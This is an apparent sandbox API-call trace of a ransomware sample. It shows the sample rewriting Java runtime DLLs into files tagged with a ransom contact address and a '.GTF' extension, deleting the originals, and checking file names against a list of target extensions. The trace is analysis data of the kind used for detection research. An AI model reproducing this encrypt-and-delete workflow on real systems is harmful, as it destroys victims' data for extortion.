	[0090.077] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0090.077] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.077] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.077] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0090.077] GetLastError () returned 0x0
	[0090.077] ReadFile (in: hFile=0x33c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x15040, lpOverlapped=0x0) returned 1
	[0090.081] WriteFile (in: hFile=0x388, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x15050, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x15050, lpOverlapped=0x0) returned 1
	[0090.083] ReadFile (in: hFile=0x33c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.083] WriteFile (in: hFile=0x388, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0xf0, lpOverlapped=0x0) returned 1
	[0090.083] SetEndOfFile (hFile=0x388) returned 1
	[0090.083] CloseHandle (hObject=0x388) returned 1
	[0090.083] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.083] SetEndOfFile (hFile=0x33c) returned 1
	[0090.084] CloseHandle (hObject=0x33c) returned 1
	[0090.084] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0090.085] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll")) returned 1
	[0090.085] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0090.085] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0090.085] lstrlenW (lpString=".doc") returned 4
	[0090.085] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0090.085] lstrlenW (lpString=".docx") returned 5
	[0090.085] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0090.085] lstrlenW (lpString=".pdf") returned 4
	[0090.085] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0090.085] lstrlenW (lpString=".xls") returned 4
	[0090.085] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0090.085] lstrlenW (lpString=".xlsx") returned 5
	[0090.085] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0090.085] lstrlenW (lpString=".ppt") returned 4
	[0090.085] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0090.085] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0090.085] lstrlenW (lpString=".zip") returned 4
	[0090.085] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0090.085] lstrlenW (lpString=".rar") returned 4
	[0090.085] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0090.085] lstrlenW (lpString=".bz2") returned 4
	[0090.085] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0090.085] lstrlenW (lpString=".7z") returned 3
	[0090.086] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0090.086] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0090.086] lstrlenW (lpString=".dbf") returned 4
	[0090.086] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0090.086] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0090.086] lstrlenW (lpString=".1cd") returned 4
	[0090.086] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0090.086] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0090.086] lstrlenW (lpString=".jpg") returned 4
	[0090.086] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0090.086] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0090.086] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0090.086] lstrlenW (lpString=".doc") returned 4
	[0090.086] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0090.086] lstrlenW (lpString=".docx") returned 5
	[0090.086] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0090.086] lstrlenW (lpString=".pdf") returned 4
	[0090.086] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0090.086] lstrlenW (lpString=".xls") returned 4
	[0090.086] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0090.086] lstrlenW (lpString=".xlsx") returned 5
	[0090.086] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0090.086] lstrlenW (lpString=".ppt") returned 4
	[0090.086] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0090.086] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0090.086] lstrlenW (lpString=".zip") returned 4
	[0090.086] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0090.086] lstrlenW (lpString=".rar") returned 4
	[0090.086] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0090.086] lstrlenW (lpString=".bz2") returned 4
	[0090.086] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0090.086] lstrlenW (lpString=".7z") returned 3
	[0090.086] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0090.087] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0090.087] lstrlenW (lpString=".dbf") returned 4
	[0090.087] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0090.087] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0090.087] lstrlenW (lpString=".1cd") returned 4
	[0090.087] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0090.087] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0090.087] lstrlenW (lpString=".jpg") returned 4
	[0090.087] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0090.087] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0090.087] lstrlenW (lpString="deploy.dll") returned 10
	[0090.087] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0090.087] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=587840) returned 1
	[0090.087] CloseHandle (hObject=0x33c) returned 1
	[0090.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll")) returned 0x20
	[0090.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0090.088] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0090.088] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.088] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.088] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0090.088] GetLastError () returned 0x0
	[0090.088] ReadFile (in: hFile=0x33c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x8f840, lpOverlapped=0x0) returned 1
	[0090.102] WriteFile (in: hFile=0x388, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x8f850, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x8f850, lpOverlapped=0x0) returned 1
	[0090.630] ReadFile (in: hFile=0x33c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.631] WriteFile (in: hFile=0x388, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0090.631] SetEndOfFile (hFile=0x388) returned 1
	[0090.631] CloseHandle (hObject=0x388) returned 1
	[0090.631] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.631] SetEndOfFile (hFile=0x33c) returned 1
	[0090.636] CloseHandle (hObject=0x33c) returned 1
	[0090.636] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0090.637] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll")) returned 1
	[0090.637] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0090.637] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0090.637] lstrlenW (lpString=".doc") returned 4
	[0090.637] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0090.637] lstrlenW (lpString=".docx") returned 5
	[0090.637] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1
	[0090.637] lstrlenW (lpString=".pdf") returned 4
	[0090.637] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0090.637] lstrlenW (lpString=".xls") returned 4
	[0090.637] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0090.637] lstrlenW (lpString=".xlsx") returned 5
	[0090.637] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1
	[0090.637] lstrlenW (lpString=".ppt") returned 4
	[0090.637] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0090.637] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0090.637] lstrlenW (lpString=".zip") returned 4
	[0090.637] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0090.637] lstrlenW (lpString=".rar") returned 4
	[0090.637] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0090.637] lstrlenW (lpString=".bz2") returned 4
	[0090.637] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0090.637] lstrlenW (lpString=".7z") returned 3
	[0090.637] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0090.637] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0090.637] lstrlenW (lpString=".dbf") returned 4
	[0090.638] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0090.638] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0090.638] lstrlenW (lpString=".1cd") returned 4
	[0090.638] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0090.638] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0090.638] lstrlenW (lpString=".jpg") returned 4
	[0090.638] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0090.638] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0090.638] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0090.638] lstrlenW (lpString=".doc") returned 4
	[0090.638] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0090.638] lstrlenW (lpString=".docx") returned 5
	[0090.638] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1
	[0090.638] lstrlenW (lpString=".pdf") returned 4
	[0090.638] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0090.638] lstrlenW (lpString=".xls") returned 4
	[0090.638] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0090.638] lstrlenW (lpString=".xlsx") returned 5
	[0090.638] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1
	[0090.638] lstrlenW (lpString=".ppt") returned 4
	[0090.638] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0090.638] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0090.638] lstrlenW (lpString=".zip") returned 4
	[0090.638] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0090.638] lstrlenW (lpString=".rar") returned 4
	[0090.638] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0090.638] lstrlenW (lpString=".bz2") returned 4
	[0090.638] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0090.638] lstrlenW (lpString=".7z") returned 3
	[0090.638] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0090.638] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0090.638] lstrlenW (lpString=".dbf") returned 4
	[0090.638] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0090.638] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0090.638] lstrlenW (lpString=".1cd") returned 4
	[0090.639] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0090.639] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0090.639] lstrlenW (lpString=".jpg") returned 4
	[0090.639] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0090.639] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0090.639] lstrlenW (lpString="dt_shmem.dll") returned 12
	[0090.639] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0090.640] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=29760) returned 1
	[0090.640] CloseHandle (hObject=0x33c) returned 1
	[0090.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll")) returned 0x20
	[0090.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0090.640] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0090.640] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.640] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.640] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0090.640] GetLastError () returned 0x0
	[0090.641] ReadFile (in: hFile=0x33c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x7440, lpOverlapped=0x0) returned 1
	[0090.643] WriteFile (in: hFile=0x388, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x7450, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x7450, lpOverlapped=0x0) returned 1
	[0090.644] ReadFile (in: hFile=0x33c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.644] WriteFile (in: hFile=0x388, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.644] SetEndOfFile (hFile=0x388) returned 1
	[0090.644] CloseHandle (hObject=0x388) returned 1
	[0090.644] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.644] SetEndOfFile (hFile=0x33c) returned 1
	[0090.645] CloseHandle (hObject=0x33c) returned 1
	[0090.645] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0090.645] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll")) returned 1
	[0090.646] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0090.646] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0090.646] lstrlenW (lpString=".doc") returned 4
	[0090.646] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0090.646] lstrlenW (lpString=".docx") returned 5
	[0090.646] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1
	[0090.646] lstrlenW (lpString=".pdf") returned 4
	[0090.646] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0090.646] lstrlenW (lpString=".xls") returned 4
	[0090.646] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0090.646] lstrlenW (lpString=".xlsx") returned 5
	[0090.646] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1
	[0090.646] lstrlenW (lpString=".ppt") returned 4
	[0090.646] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0090.646] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0090.646] lstrlenW (lpString=".zip") returned 4
	[0090.646] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0090.646] lstrlenW (lpString=".rar") returned 4
	[0090.646] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0090.646] lstrlenW (lpString=".bz2") returned 4
	[0090.646] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0090.646] lstrlenW (lpString=".7z") returned 3
	[0090.646] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0090.646] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0090.646] lstrlenW (lpString=".dbf") returned 4
	[0090.646] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0090.646] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0090.646] lstrlenW (lpString=".1cd") returned 4
	[0090.646] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0090.646] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0090.646] lstrlenW (lpString=".jpg") returned 4
	[0090.647] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0090.647] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0090.647] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0090.647] lstrlenW (lpString=".doc") returned 4
	[0090.647] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0090.647] lstrlenW (lpString=".docx") returned 5
	[0090.647] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1
	[0090.647] lstrlenW (lpString=".pdf") returned 4
	[0090.647] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0090.647] lstrlenW (lpString=".xls") returned 4
	[0090.647] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0090.647] lstrlenW (lpString=".xlsx") returned 5
	[0090.647] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1
	[0090.647] lstrlenW (lpString=".ppt") returned 4
	[0090.647] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0090.647] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0090.647] lstrlenW (lpString=".zip") returned 4
	[0090.647] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0090.647] lstrlenW (lpString=".rar") returned 4
	[0090.647] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0090.647] lstrlenW (lpString=".bz2") returned 4
	[0090.647] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0090.647] lstrlenW (lpString=".7z") returned 3
	[0090.647] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0090.647] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0090.647] lstrlenW (lpString=".dbf") returned 4
	[0090.647] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0090.647] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0090.647] lstrlenW (lpString=".1cd") returned 4
	[0090.647] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0090.647] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0090.647] lstrlenW (lpString=".jpg") returned 4
	[0090.647] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0090.648] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0090.648] lstrlenW (lpString="dt_socket.dll") returned 13
	[0090.648] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0090.648] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=24640) returned 1
	[0090.648] CloseHandle (hObject=0x33c) returned 1
	[0090.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll")) returned 0x20
	[0090.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0090.648] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0090.648] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.648] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.648] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0090.649] GetLastError () returned 0x0
